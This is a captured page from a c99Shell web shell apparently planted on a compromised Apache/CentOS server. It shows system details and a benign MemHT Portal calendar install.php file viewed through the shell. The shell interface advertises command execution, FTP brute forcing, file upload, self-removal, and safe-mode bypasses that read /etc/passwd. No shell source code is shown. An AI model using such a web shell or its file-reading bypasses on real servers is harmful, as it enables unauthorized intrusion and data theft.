!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/pages/calendar/   drwxr-xr-x
Free 40.49 GB of 127.8 GB (31.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     --install.php (1.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/***********************************************************************
    - MemHT Portal -
                        
    Copyright (c) 2007 by Miltenovik Manojlo
    http://www.memht.com
    
    License: 
    Creative Commons Attribution-ShareAlike 3.0 License
    http://creativecommons.org/licenses/by-sa/3.0/
    
***********************************************************************/

//======================================================================
// MySQL Database Installer: MemHT Calendar of Events
//======================================================================

//===========================================
//Database: Connect
//===========================================
require_once("../../inc/inc_config.php");
require_once(
"../../inc/inc_database.php");

$dblink = new database();
$dblink->connect();
    
require_once(
"../../inc/inc_functions.php");
require_once(
"../../inc/inc_login.php");
    
if (
isAdmin($admin)) {
    
$dblink->query("CREATE TABLE `memht_calendar_events` (
                      `id` int(10) NOT NULL auto_increment,
                      `date` datetime NOT NULL default '0000-00-00 00:00:00',
                      `title` varchar(255) NOT NULL default '',
                      `text` text NOT NULL,
                      `author` varchar(255) NOT NULL default '',
                      `ip` varchar(15) NOT NULL default '',
                      PRIMARY KEY  (`id`)
                    ) TYPE=MyISAM;"
);
    
$dblink->query("INSERT INTO `memht_pagine` (`id`,`nome`,`titolo`,`fullscreen`,`rank`,`enabled`) VALUES (NULL ,'calendar','Calendar of events','1','0','1');");
    echo 
"<b>Finished!</b><br><font color='#990000'>Do not forget to delete the install.php file!</font>";
} else {
    die(
"<b>Access Denied!</b><br>You must be logged as administrator to execute this file");
}

//===========================================
//Database: Disconnect
//===========================================
$dblink->disconnect();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0093 ]--